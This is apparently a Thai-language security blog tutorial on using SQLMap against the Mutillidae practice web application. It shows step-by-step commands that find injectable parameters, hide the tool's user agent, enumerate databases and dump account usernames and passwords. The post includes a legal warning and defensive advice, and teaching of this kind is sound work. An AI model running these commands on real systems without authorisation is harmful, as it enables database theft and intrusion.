SQL Injection แฮกยังไงและถ้าเว็บเรามีช่องโหว่จะเป็นยังไง? How to SQLMap

สวัสดีครับวันนี้ผมจะนำเสนอบทความเกี่ยวกับ SQL Injection, SQLMap และวิธีการใช้งานในงานทดสอบเจาะระบบ

 SQLMap คือ open source penetration testing tool ที่ได้รับความนิยมตัวหนึ่งที่ใช้ในการ identify ช่องโหว่ SQL Injection รวมถึงสามารถโจมตีได้ถ้าเกิดเว็บที่เราทดสอบนั้นมีช่องโหว่ และยังมีฟีเจอร์มากมายให้เลือกใช้ รวมถึงสามารแก้ไข/เพิ่ม payload ในกรณีที่เราเจอเคสที่ซับซ้อนที่ SQLMap ไม่สามารถโจมตีหรือ identify ช่องโหว่ได้โดย default

คำเตือน การนำ tools ต่างๆไปทดสอบกับระบบ/เว็บที่เราไม่ได้รับอนุญาติ มีความผิดตาม พรบ. คอมพิวเตอร์ มีโทษทั้งจำและปรับ ผมเขียนบทความนี้เพื่อให้ developer, admin ได้นำความรู้ไปทดสอบเว็บของตัวเองว่ามีช่องโหว่หรือไม่และแชร์ความรู้ Information Security

เราสามารถ clone SQLMap version ล่าสุดมาใช้ได้ตามรูปด้านล่าง
 clone SQLMap
ในกรณีที่เรามี SQLMap อยู่แล้วถ้าอยากทำการ update ให้เป็น version ล่าสุดก็ตามรูปด้านล่างครับ
 $ ./sqlmap.py --update
$ ./sqlmap.py –update

ตอนนี้เราก็มี SQLMap version ล่าสุดพร้อมใช้งานแล้ว
มาดูเว็บเหยื่อของเรากันครับ เว็บเหยื่อของเราที่ผมเลือกมาคือ NOWASP (Mutillidae) ซึ่งถูกสร้างขึ้นมาเพื่อให้เราทดสอบหรือฝึก hack เว็บ
NOWASP (Mutillidae) - SQLMAP Practice
NOWASP (Mutillidae) – SQLMAP Practice
ผมลองทดสอบหน้า User Info (SQL) ที่อยู่ในหมวด SQLMAP Practice ก่อนละกันครับ หลังจากผมทำการเปิดหน้า User Info พร้อมกับใส่
Name: user1 Password: password1 แล้วกด view account details ได้ผลตามรูปด้านล่าง
4
5
อันนี้คือ HTTP Request ที่ผมได้จาก Burp Proxy จะเห็นว่ามีการส่งค่า username, password แบบ HTTP GET Method จากประสบการณ์เป็นไปได้ที่ค่า parameters 2 ตัวนี้จะถูกใช้เป็นส่วนหนึ่งใน strings ในการ query กับ database ทำให้มีโอกาสเกิดช่องโหว่ SQL Injection ได้ ถ้าไม่ได้ validate input หรือใช้ Prepared Statements (with Parameterized Queries) ที่ดีพอผมจะทดสอบว่าในส่วนนี้ของเว็บว่ามีช่อง SQL Injection หรือไม่ได้โดยใช้คำสั่งตามนี้

$ ./sqlmap.py -u “http://10.211.55.4/mutillidae/index.php?page=user-info.php&username=user1&password=password1&user-info-php-submit-button=View+Account+Details” -p username,password –proxy=”http://127.0.0.1:8080

ความหมายของ option ที่ผมใช้

-u คือ url เป้าหมาย
-p คือ parameter ที่จะทดสอบถ้าเราไม่ใส่มันจะทดสอบทุก parameters
—proxy อันนี้ผมใส่เพื่อให้ HTTP request วิ่งผ่าน Burp Proxy เพื่อผมจะได้ debug ได้ว่ามันส่ง requst และได้ response อย่างที่ผมคาดหวังหรือเปล่า ผลตามรูปด้านล่าง
6
จะเห็นว่าทั้ง parameter username และ password สามารถทำ SQL Injection ได้ ในการ hack ต้องการเพียงแค่ 1 parameter ที่มีช่องโหว่ก็เพียงพอที่จะขโมยข้อมูลที่อยู่ใน databases รวมถึงอาจจะสามารถแก้ไขและลบข้อมูลใน databases ได้ แต่สำหรับงาน penetration testing เราต้องพยายามหาให้ได้ทั้งหมดซึ่งไม่ใช่เรื่องง่ายบางเคสอาจจะถึงขั้นเป็นไปไม่ได้เพราะช่องโหว่เยอะจัด LoL จะเห็นว่าการที่ developer เขียนโปรแกรมมายังไงก็ได้ไม่ต้องสนใจ security แล้วโยนให้ penetration tester ทดสอบแล้วไล่หาช่องโหว่ทั้งหมด แบบนี้เป็นการแก้ปัญหาที่ไม่มีประสิทธิภาพ เหนื่อยทั้งสองฝ่าย ทั้ง penetration tester และ developer ที่ต้องไล้แก้ช่องโหว่บางเคส dev อาจจะต้องแก้ design แก้ไปแก้มาเขียนใหม่ง่ายกว่า เพราะฉะนั้นพยายามเขียนให้ปลอดภัยที่สุดตั้งแต่ต้นจะดีกว่าครับ 😀
7
รูปนี้คือ request ที่ผมได้มาจาก Burp Proxy จะเห็นว่าโดย default User-Agent จะเป็นของ SQLMap ซึ่งในบางเคสจะโดน IDS/IPS block หรือเวลา admin มาดู log ก็จะรู้ว่ามีคนใช้ SQLMap ทดลองโจมตีเว็บ เราสามารถใช้ option –random-agent  ในการเปลี่ยน User agent เวลา SQLMap scan ได้

ในบางเคสผมต้องการกำหนด User-Agent และ Cookies รวมถึง HTTP Headers อื่นๆ และผมไม่อยากจะให้ input ใน SQLMap ยาวเกินไปเพราะต้องใส่หลาย options และบ่อยครั้งผมใช้ร่วมกับ Burp Suite ผมสามารถ copy HTTP requst จาก Burp Suite มาใช้ได้เลยตามตัวอย่างด้านล่าง

8
 ผมจะยกตัวอย่าง NOWASP (Mutillidae) – SQLMAP Practice – View Someones Blog
9
ผมทำการเลือก view blog ของ admin แล้วได้ HTTP Request ตามรูป จะเห็นว่ารอบนี้ parameter ส่งแบบ HTTP POST Method ผมได้ทำการ copy HTTP Request ตามรูปนี้แล้ว save เป็นไฟล์ชื่อ request.txt และทำการใช้ SQLMap identify ช่องโหว่ด้วยคำสั่งตามนี้
10
$ ./sqlmap.py -r request.txt  -p author –proxy=”http://127.0.0.1:8080”จะเห็นว่าผมใช้  option -r ในการอ่าน HTTP Requst จากไฟล์ที่ copy มาจาก Burp Suite ได้เลยโดยไม่ได้ set cookies, user agents, …
11

จะเห็นว่า parameter author มีช่องโหว่

ต่อไปนี้เราจะมาดูกันว่าหลังจากที่สามารถ identify ช่องโหว่ SQL Injection ได้แล้ว ผู้โจมตีจะทำอะไรได้บ้าง

ขั้นแรกผมจะเช็คก่อนว่า user ของ databse นั้นเป็นใคร เป็น root หรือ DBA  หรือไม่

$ ./sqlmap.py -r request.txt  -p author –current-user
12
ในเคสนี้ user ของ database เป็น root ก็ GG เลยครัชต่อมาผมอยากจะดูว่าใน database server นี้มี databases อะไรบ้าง
$ ./sqlmap.py -r request.txt  -p author –dbs
13
จะเห็นว่ามีอยู่ 4 databases และ database ที่ผมสนใจคงเป็น nowaspผมอยากจะดูว่าใน nowasp database มี tables อะไรบ้าง
$ ./sqlmap.py -r request.txt  -p author -D nowasp –tables
14

tables ที่ผมสนใจก็คงจะเป็น accounts เพราะผมอยากจะได้ข้อมูล username, password ของ web nowasp ทั้งหมดผมต้องรู้ก่อนว่ามันมี columns อะไรบ้างจะได้เลือก dump บาง columns พอ

$ ./sqlmap.py -r request.txt  -p author -D nowasp -T accounts –columns
15
มาถึงจุดนี้ผมสนใจอยู่ 3 columns คือ is_admin, username, password เพราะผมอยากรู้ว่า user ไหนคือ admin และ username, password อะไร
$ ./sqlmap.py -r request.txt  -p author -D nowasp -T accounts -C is_admin,username,password –dump
16

สุดท้ายจะเห็นว่าผู้โจมตีสามารถที่จะขโมย username และ password ทั้งหมดของเว็บ ถ้าเว็บนั้นๆมีช่องโหว่ SQL Injection และ ไม่ได้ทำการ hash password ไว้ นอกจากนี้ถ้าเกิดระบบหลังบ้านขาดการ hardening ผู้โจมตีก็จะพยายามหาทางวาง backdoor และพยายามเพิ่มสิทธิตัวเองจนเป็น admin หรือ root และสามารถควบคุมเครื่อง Server นั้นอย่างสมบูรณ์ต่อไป

จริงๆแล้ว SQLMap ยังมีฟีเจอร์อื่นๆที่มีประโยชน์ต่อ Penetration tester อีกมากมาย รวมถึงสามารถดัดแปลงแก้ไข เช่นในกรณีที่ SQLMap ไม่สามารถ identify ได้ว่า parameter นั้นมีช่องโหว่ แต่ Penetration tester สามารถ identify ได้ เราก็สามารถเพิ่ม payload ของเราเข้าไปได้ที่ไฟล์ “sqlmap/xml/payloads.xml”

"sqlmap/xml/payloads.xml"

รูปแบบการเขียน test มีตัวอย่างอยู่ในไฟล์นั้นแล้ว ถ้าเราต้องการให้ SQLMap ทดสอบเฉพาะ payload ที่เราสร้างหรือ payload ที่เราต้องการก็ใส่ option –test-filter เช่น –test-filter=’AND boolean-based blind – WHERE or HAVING clause (MySQL comment)’

สรุป เราจะเห็นจากในข่าวว่ามีการถูก Hack ด้วย SQL Injection กันมาก สาเหตุก็คือ devloper ไม่สนใจ security ทั้งที่นี้ก็ปี 2015 ช่องโหว่ SQL Injection นั้นมีการพูดถึงกันมาตั้งแต่ 1998 แล้ว *0* และอีกสาเหตุก็คือสมัยนี้มี tools ช่วยให้การ hack ง่ายขึ้น อย่างในบทความนี้ผู้โจมตีไม่จำต้องรู้ด้วยซ้ำว่า SQL Injection ทำงานยังไงหรือแม้กระทั้ง SQL คืออะไรทำงานยังไง lol นี้ก็เป็นโอกาสอันดีที่ dev หรือ admin ได้นำความรุ้ในบทความนี้ไปทดสอบเว็บตัวเองว่ามีช่องโหว่ SQL injection หรือไม่ในเบื้องต้น แน่นอน tools ก็คือ tools มันไม่ได้เก่งกว่าคนแน่นอนในหลายเคส tools ก็ไม่สามารถ identify ช่องโหว่หรือโจมตีได้ ต้องใช้ Penetration tester ที่มีความเชี่ยวชาญ สำหรับท่านที่อยากเรียนรู้มากกว่านี้ก็สามารถอ่านบทความ การแฮกเว็บ THE FUNDAMENTALS OF WEB HACKING [WEB HACKING SERIES PART 1] หรือไม่ก็เจอกันในงานอบรม Hacking & Security Workshop –> http://mayaseven.com ครับ 😀

Reference:
hacking workshop, Mutillidae, nowasp, SQLMap
Previous Post
การเข้ารหัส Email ด้วย Thunderbird + Enigmail + GPG4win
Next Post
[GXPN Review] IT Security Certificate ที่ค่าเรียน+ค่าสอบประมาณ 200,000 บาท

Related Posts

No results found.

Leave a Reply

Your email address will not be published. Required fields are marked *

Fill out this field
Fill out this field
Please enter a valid email address.
You need to agree with the terms to proceed